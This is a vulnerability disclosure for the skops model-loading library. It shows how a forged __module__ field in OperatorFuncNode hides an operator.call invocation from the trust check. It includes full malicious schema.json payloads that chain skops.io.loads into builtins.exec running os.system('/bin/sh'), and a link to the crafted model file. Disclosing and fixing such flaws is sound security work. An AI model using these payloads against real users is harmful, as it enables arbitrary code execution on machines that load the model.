Summary
An inconsistency in OperatorFuncNode can be exploited to hide the execution of untrusted operator.xxx methods. This can then be used in a code reuse attack to invoke seemingly safe functions and escalate to arbitrary code execution with minimal and misleading trusted types.
Note: This report focuses on operator.call as it appears to be the most interesting target, but the same technique applies to other operator methods. Moreover, please do not focus too much on the specific example used to hide the operator.call invocation—it was a zero-effort choice meant solely to demonstrate the issue. The key point is the inconsistency that allows a user to approve a type as trusted, while in reality enabling the execution of operator.xxx.
Details
The OperatorFuncNode allows calling methods belonging to the operator module and included in a trusted list of methods. However, what is returned by get_untrusted_types and checked during the load call is not exactly the same as what is actually called. Instead, it is something partially controlled by the model author. This means that the user checking the untrusted types can be tricked into thinking something benign is being used, while in reality the operator.xxx method is executed.
Let’s look at the implementation of the OperatorFuncNode:
# from io/_general.py:618-633
class OperatorFuncNode(Node):
def __init__(
self,
state: dict[str, Any],
load_context: LoadContext,
trusted: Optional[Sequence[str]] = None,
) -> None:
super().__init__(state, load_context, trusted)
self.trusted = self._get_trusted(trusted, [])
self.children["attrs"] = get_tree(state["attrs"], load_context, trusted=trusted)
def _construct(self):
op = getattr(operator, self.class_name)
attrs = self.children["attrs"].construct()
return op(*attrs)
As you can see, what is called during construction is operator.class_name, where class_name is the value of the "__class__" key in the schema.json file of the model.skops. However, what is returned by get_untrusted_types and checked during load is the concatenation of the __module__ and __class__ keys. Interestingly, __module__ is not used in the construction of the OperatorFuncNode, allowing an attacker to forge a module name that, when concatenated with the __class__ name, seems harmless and related to the model being loaded, while actually calling the operator.class_name function.
For example, an attacker can create a schema.json file with the following content:
{
"__class__": "call",
"__module__": "sklearn.linear_model._stochastic_gradient.SGDRegressor",
"__loader__": "OperatorFuncNode",
...
}
What is returned by get_untrusted_types and checked during load is "sklearn.linear_model._stochastic_gradient.SGDRegressor.call", which seems harmless and related to the model being loaded. However, what is actually called during the construction of the OperatorFuncNode is operator.call, which can be used to call arbitrary functions with the provided arguments.
NOTE: There is also the possibility of a collision with a real method ending with .call. If, at some point, the user needs to trust a type like something.somewhere.call, then the attacker can use the same name while actually executing operator.call. This also means that, if at any point skops adds a default trusted element named call, the attacker can use it to execute arbitrary code by invoking operator.call with the provided arguments.
PoC
As an example, to create a model that seems perfectly harmless but allows fully arbitrary code execution, code reuse of the skops.io.loads function from the skops library is used. This function was chosen because, even though it is not in the default trusted list of skops, it appears perfectly harmless and appropriate in the context of loading a model with skops, hence it is likely to be trusted by users.
In particular, the OperatorFuncNode is combined with the skops.io.loads function to create a model (model.skops) that, when loaded, executes a second model load using another, hidden model zipped into the original model.skops file (hence not visible to the user unless manually unzipped and inspected). The second model is loaded with controlled arguments, allowing the attacker to specify any trusted list, thereby enabling arbitrary code execution.
Zip file structure
The zip file model.skops has the following structure:
model.skops
├── schema.json
├── my-model-evil.skops
└── schema.json
Payload
The schema.json file of model.skops is as follows:
{
"__class__": "call",
"__module__": "sklearn.linear_model._stochastic_gradient.SGDRegressor",
"__loader__": "OperatorFuncNode",
"attrs": {
"__class__": "tuple",
"__module__": "builtins",
"__loader__": "TupleNode",
"content": [
{
"__class__": "loads",
"__module__": "skops.io",
"__loader__": "TypeNode",
"__id__": 5
},
{
"__class__": "bytes",
"__module__": "builtins",
"__loader__": "BytesNode",
"file": "my-model-evil.skops",
"__id__": 6
},
{
"__class__": "list",
"__module__": "builtins",
"__loader__": "ListNode",
"content": [
{
"__class__": "str",
"__module__": "builtins",
"__loader__": "JsonNode",
"content": "\"builtins.exec\""
},
{
"__class__": "str",
"__module__": "builtins",
"__loader__": "JsonNode",
"content": "\"sk.call\""
}
]
}
],
"__id__": 8
},
"__id__": 10,
"protocol": 2,
"_skops_version": "0.11.0"
}
Inside the zip file model.skops, there is a file my-model-evil.skops with the following content:
{
"__class__": "call",
"__module__": "sk",
"__loader__": "OperatorFuncNode",
"attrs": {
"__class__": "tuple",
"__module__": "builtins",
"__loader__": "TupleNode",
"content": [
{
"__class__": "exec",
"__module__": "builtins",
"__loader__": "TypeNode",
"__id__": 1
},
{
"__class__": "str",
"__module__": "builtins",
"__loader__": "JsonNode",
"content": "\"import os; os.system('/bin/sh')\"",
"__id__": 5,
"is_json": true
}
],
"__id__": 8
},
"__id__": 10,
"protocol": 2,
"_skops_version": "0.11.0"
}
Since the first model loads it, the second model is loaded with the attacker-controlled trusted list ["builtins.exec", "sk.call"], allowing execution of the exec function with the provided argument without any further confirmation from the user. In this example, a shell command is executed, but the attacker can modify the payload to execute any arbitrary code.
What is shown when executing the payload
Suppose a user loads the model with the following code:
from skops.io import load, get_untrusted_types
unknown_types = get_untrusted_types(file="model.skops")
print("Unknown types", unknown_types)
input("Press enter to load the model...")
loaded = load("model.skops", trusted=unknown_types)
The output will be:
Unknown types ['sklearn.linear_model._stochastic_gradient.SGDRegressor.call', 'skops.io.loads']
Press enter to load the model...
This shows that the user is tricked into believing the model is safe, with apparently legitimate types like sklearn.linear_model._stochastic_gradient.SGDRegressor.call and skops.io.loads, while in reality, a shell is executed.
This is just one example, but the same technique can be used to execute any arbitrary code with even more misleading names.
Possible Fix
get_untrusted_types and load should verify what is actually called during the construction of the OperatorFuncNode, not just rely on the concatenation of the __module__ and __class__ keys, which do not reflect the true behavior in this case.
Impact
An attacker can exploit this vulnerability by crafting a malicious model file that, when loaded, requests trusted types that are different from those actually executed by the model. Potentially, this can escalate— as shown— to the execution of arbitrary code on the victim’s machine, requiring only the confirmation of a few seemingly safe types. The attack occurs at load time. This is particularly concerning given that skops is often used in collaborative environments and promotes a security-oriented policy.
Attachments
The zip file model.skops—containing the malicious payload described in this report— was uploaded to Drive, since GitHub did not allow the upload. You can unzip and inspect its contents to examine the structure and payload in detail for testing and verification.
https://drive.google.com/file/d/1c2KrjayE_S1siaou0vDmGK7_MQ7_YCUZ/view?usp=sharing
Miggo AI